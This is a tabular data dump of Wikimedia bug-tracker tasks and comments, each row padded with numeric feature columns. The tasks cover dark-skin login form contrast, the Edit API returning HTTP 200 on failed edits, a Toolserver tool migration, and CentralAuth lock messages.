https://bugzilla.wikimedia.org/show_bug.cgi?id=70351",Lowest,10.0,1398996060,1502833885.0,PHID-USER-gibrlx54k2riiuit5paf,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-ze63d2xsdhfuccweyurl,task_description,declined,True,c3,1,False,False,False,-61,True,0.0,0.0,0.0,1.0,2.0,12.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,9.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,0.0,3.8043478260869565,0.6521739130434783,"CODE specifies an explicit dark color. On dark skins this means the contrast becomes low and in the worst case (the skin isn't using an absolute black) becomes illegible.

This case isn't fixed by simply applying an explicit color somewhere so we'll probably have to create a new 'dark' common/skinning module.

--------------------------
**Version**: 1.24rc
**Severity**: enhancement
**See Also**:
URL"
912823,Login form hard to read on dark skins,This is up to the skin authors of dark skins and not something we are able to easily take care for out of the box.,,,1502833885,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,3,True,,,110,True,0.0,4.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,27.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,27.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.8846153846153846,This is up to the skin authors of dark skins and not something we are able to easily take care for out of the box.
469493,Login form hard to read on dark skins,Will be converted to OO UI in {T85853}.  Will need to make sure issues do not apply with OOjs UI/OO PHP UI.,,,1433461359,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9655172413793105,0.7931034482758621,Will be converted to OO UI in {T85853}.  Will need to make sure issues do not apply with OOjs UI/OO PHP UI.
307949,Login form hard to read on dark skins,"(In reply to Daniel Friesen from comment #0)
> This case isn't fixed by simply applying an explicit color somewhere so
> we'll probably have to create a new 'dark' common/skinning module.

Why can't the dark skin(s) specify an explicit color in a skinStyles style sheet for mediawiki.ui (or the relevant module)?  I am inclined to resolve as invalid and request that individual skins fix this.

However, if the dark label only looks right in a limited number of skins, the alternative is to put skinStyles for those skins (not convinced of that so far) (e.g. Vector, Monobook, etc.).

Unless I'm mistaken, creating a new module would change the API for how MW UI is used.  Using skinStyles/$wgResourceModuleSkinStyles would not have this issue.

I don't agree with Jon's new title.  All dark skins do not look alike.  Why should MW UI look alike in all of them?

Also, improving every aspect of MW UI in every dark skin would greatly expand the scope of this bug.  Let's stick the original report.",,,1409865494,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,True,,,-43,True,2.0,0.0,0.5,0.5,2.5,8.5,1.0,0.0,0.0,1.0,4.0,1.5,0.0,0.5,0.0,1.5,0.0,9.0,10.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,4.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,12.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,13.5,3.0,1.0,10.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,2.5,10.5,6.0,1.0,0.0,0.0,2.5,0.0,1.5,2.0,0.5,1.5,0.0,0.0,1.5,3.755960051546392,0.6888960481099656,"(In reply to Daniel Friesen from comment #0)
QUOTE
QUOTE

Why can't the dark skin(s) specify an explicit color in a skinStyles style sheet for mediawiki.ui (or the relevant module)?  I am inclined to resolve as invalid and request that individual skins fix this.

However, if the dark label only looks right in a limited number of skins, the alternative is to put skinStyles for those skins (not convinced of that so far) (e.g. Vector, Monobook, etc.).

Unless I'm mistaken, creating a new module would change the API for how MW UI is used.  Using skinStyles/$wgResourceModuleSkinStyles would not have this issue.

I don't agree with Jon's new title.  All dark skins do not look alike.  Why should MW UI look alike in all of them?

Also, improving every aspect of MW UI in every dark skin would greatly expand the scope of this bug.  Let's stick the original report."
307944,Login form hard to read on dark skins,Updating the importance since this does not affect default skin.,,,1409266333,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-ze63d2xsdhfuccweyurl,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,1.0,Updating the importance since this does not affect default skin.
63736,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"Fiddler trace (ZIP archive with a funny name)

Your extension seems to give some rather odd HTTP responses.  Namely:

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.9+wmf1
X-Content-Type-Options: nosniff
Cache-control: private
MediaWiki-API-Error: unknownerror
X-Frame-Options: DENY
Vary: Accept-Encoding
X-Vary-Options: Accept-Encoding;list-contains=gzip
Content-Type: text/xml; charset=utf-8
X-Varnish: 675837389, 1807899246
Via: 1.1 varnish, 1.1 varnish
Content-Length: 129
Accept-Ranges: bytes
Date: Fri, 21 Feb 2014 05:16:39 GMT
Age: 0
Connection: keep-alive
X-Cache: cp1053 miss (0), cp1055 frontend miss (0)

<?xml version=""1.0""?><api servedby=""mw1135""><error code=""unknownerror"" info=""Unknown error: &quot;tpt-target-page&quot;"" /></api>

This was for an attempt to save ""MediaWiki 1.21/wmf5/el"" on www.mediawiki.org.

(Raw request/response pair attached in Fiddler's ZIP-based format; would be easiest to open in Fiddler, but anything else that understands raw HTTP request/response pairs should be able to make sense of the data.)

I'm assuming it's from this extension because it only happens on pages that, when edited from normal UI, open in your fancy translation tool.


I have two questions:

1. Why is this a ""200 OK""? Things are clearly not OK; it should probably be a 500, or possibly a 403.

2. Why is the error so non-specific?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F13127}",Lowest,10.0,1392961860,1439826817.0,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-hzwaskmouxm5amayy4ro,task_description,duplicate,True,c3,1,False,False,True,-71,True,0.25,0.25,0.0,0.0,0.25,6.0,1.25,0.25,0.0,0.0,1.0,0.25,0.0,0.25,0.0,0.5,0.0,3.0,4.5,0.25,1.0,0.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,2.5,1.75,0.75,0.25,0.5,0.25,0.0,0.5,0.5,0.0,0.0,0.0,1.75,0.0,0.5,0.0,0.0,0.0,12.75,0.75,0.5,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.25,0.0,0.0,1.75,1.75,17.5,1.25,0.75,2.75,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.75,4.5,13.75,0.75,1.5,0.0,1.75,0.25,1.25,1.25,0.0,0.25,0.0,0.25,1.0,3.5906593406593403,0.6565934065934066,"Fiddler trace (ZIP archive with a funny name)

Your extension seems to give some rather odd HTTP responses.  Namely:

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.3.10-1ubuntu3.9+wmf1
X-Content-Type-Options: nosniff
Cache-control: private
MediaWiki-API-Error: unknownerror
X-Frame-Options: DENY
Vary: Accept-Encoding
X-Vary-Options: Accept-Encoding;list-contains=gzip
Content-Type: text/xml; charset=utf-8
X-Varnish: 675837389, 1807899246
Via: 1.1 varnish, 1.1 varnish
Content-Length: 129
Accept-Ranges: bytes
Date: Fri, 21 Feb 2014 05:16:39 GMT
Age: 0
Connection: keep-alive
X-Cache: cp1053 miss (0), cp1055 frontend miss (0)

<?xml version=""1.0""?><api servedby=""mw1135""><error code=""unknownerror"" info=""Unknown error: &quot;tpt-target-page&quot;"" /></api>

This was for an attempt to save ""MediaWiki 1.21/wmf5/el"" on www.mediawiki.org.

(Raw request/response pair attached in Fiddler's ZIP-based format; would be easiest to open in Fiddler, but anything else that understands raw HTTP request/response pairs should be able to make sense of the data.)

I'm assuming it's from this extension because it only happens on pages that, when edited from normal UI, open in your fancy translation tool.


I have two questions:

1. Why is this a ""200 OK""? Things are clearly not OK; it should probably be a 500, or possibly a 403.

2. Why is the error so non-specific?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F13127}"
512939,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"Thanks, that's interesting.",,,1440317506,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"Thanks, that's interesting."
509900,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,{T40716} would be a duplicate for that request.,,,1439853431,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,{T40716} would be a duplicate for that request.
509670,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"The task this was merged into makes no mention of HTTP 200. Does the closure mean that status 200 is fine? It would make more sense to close this as invalid, then.",,,1439834311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,3.0,14.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.6666666666666665,0.9166666666666666,"The task this was merged into makes no mention of HTTP 200. Does the closure mean that status 200 is fine? It would make more sense to close this as invalid, then."
509558,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,I just tried `https://meta.wikimedia.org/w/api.php?action=edit&format=json` + `title=Meta%3ASandbox&appendtext=http%3A%2F%2Fbit.ly%2Fabcdef` (an edit prohibited by the spam blacklist) and I get HTTP 200 too.,,,1439826719,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.9090909090909091,I just tried CODE + CODE (an edit prohibited by the spam blacklist) and I get HTTP 200 too.
288469,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,For 2) see bug 14261.,,,1392965723,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4285714285714284,1.0,For 2) see bug 14261.
288466,Edit API returns HTTP 200 over failed edit e.g. for spam blacklist,"(In reply to Samuel Bronson from comment #0)
> 1. Why is this a ""200 OK""? Things are clearly not OK; it should probably be
> a 500, or possibly a 403.

This is a general API thing, not specific to the Translate extension.",,,1392962448,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzwaskmouxm5amayy4ro,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,27.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.9,"(In reply to Samuel Bronson from comment #0)
QUOTE
QUOTE

This is a general API thing, not specific to the Translate extension."
62888,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"A very popular event calendar.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1391603520,1487369227.0,PHID-USER-qqgzlefcbycpok45pchr,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-yl4vock4lcirm3thulfe,task_description,resolved,True,c3,1,False,False,False,-74,True,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.625,"A very popular event calendar.

--------------------------
**Version**: unspecified
**Severity**: normal"
811901,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"Change 336764 merged by Yuvipanda:
toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php

[[https://gerrit.wikimedia.org/r/336764]]",,,1487368350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yl4vock4lcirm3thulfe,task_subcomment,,True,c3,3,False,,,85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.739130434782608,0.8695652173913043,"Change 336764 merged by Yuvipanda:
toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php

[[GERRIT_URL]]"
806358,Migrate https//toolserver.org/~wiegels/wikipedia-termine.php to Tool Labs,"Change 336764 had a related patch set uploaded (by Tim Landscheidt):
toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php

[[https://gerrit.wikimedia.org/r/336764]]
",,,1486631603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yl4vock4lcirm3thulfe,task_subcomment,,True,c3,3,False,,,84,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.451612903225806,0.9032258064516129,"Change 336764 had a related patch set uploaded (by Tim Landscheidt):
toolserver_legacy: Add redirect for ~wiegels/wikipedia-termine.php

[[GERRIT_URL]]
"
62607,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,"This is basically a followup to bug 57866, where such options were discussed.
Is this possible?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T47469}",Lowest,10.0,1391046600,1690131831.0,PHID-USER-omdcggvudfkuawipp23i,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-24bclzoyrficwse5xql3,task_description,duplicate,True,c3,1,False,False,False,-74,True,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,14.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6,0.66,"This is basically a followup to bug 57866, where such options were discussed.
Is this possible?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T47469}"
1589871,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601370277,,PHID-USER-cupb7b4ejbdrxk7ky7bu,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1589760,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601353903,,PHID-USER-xvxheeyrpnh22kb3txqk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1588905,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601274000,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,True,,,273,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1588901,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1601272820,,PHID-USER-5rqf2knwlvccmw66mz2w,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,273,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1578640,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1599885093,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,True,,,271,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1578638,Add lock reason (from log) or [[Special:CentralAuth/$1]] ($1=username) link to 'centralauth-login-error-locked' message.,,,,1599884012,,PHID-USER-pmq7i6fmppfp6w76ddwu,False,,,PHID-TASK-24bclzoyrficwse5xql3,task_subcomment,,True,c3,3,False,,,271,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
